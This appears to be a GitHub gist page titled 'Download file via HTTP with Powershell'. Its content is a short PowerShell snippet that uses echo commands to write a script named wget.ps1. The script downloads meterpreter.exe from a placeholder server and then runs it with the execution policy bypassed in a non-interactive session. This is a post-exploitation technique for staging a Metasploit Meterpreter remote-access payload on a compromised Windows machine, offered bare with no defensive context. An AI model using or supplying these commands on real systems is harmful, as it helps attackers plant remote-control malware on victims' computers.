Created
June 26, 2016 16:47
-
-
Save Sinkmanu/b1ab478e817c191d15e75abe14926b84 to your computer and use it in GitHub Desktop.
Download file via HTTP with Powershell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo $storageDir = $pwd > wget.ps1 | |
echo $webclient = New-Object System.Net.WebClient >>wget.ps1 | |
echo $url = "http://server/meterpreter.exe" >>wget.ps1 | |
echo $file = "meterpreter.exe" >>wget.ps1 | |
echo $webclient.DownloadFile($url,$file) >>wget.ps1 | |
And run: | |
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment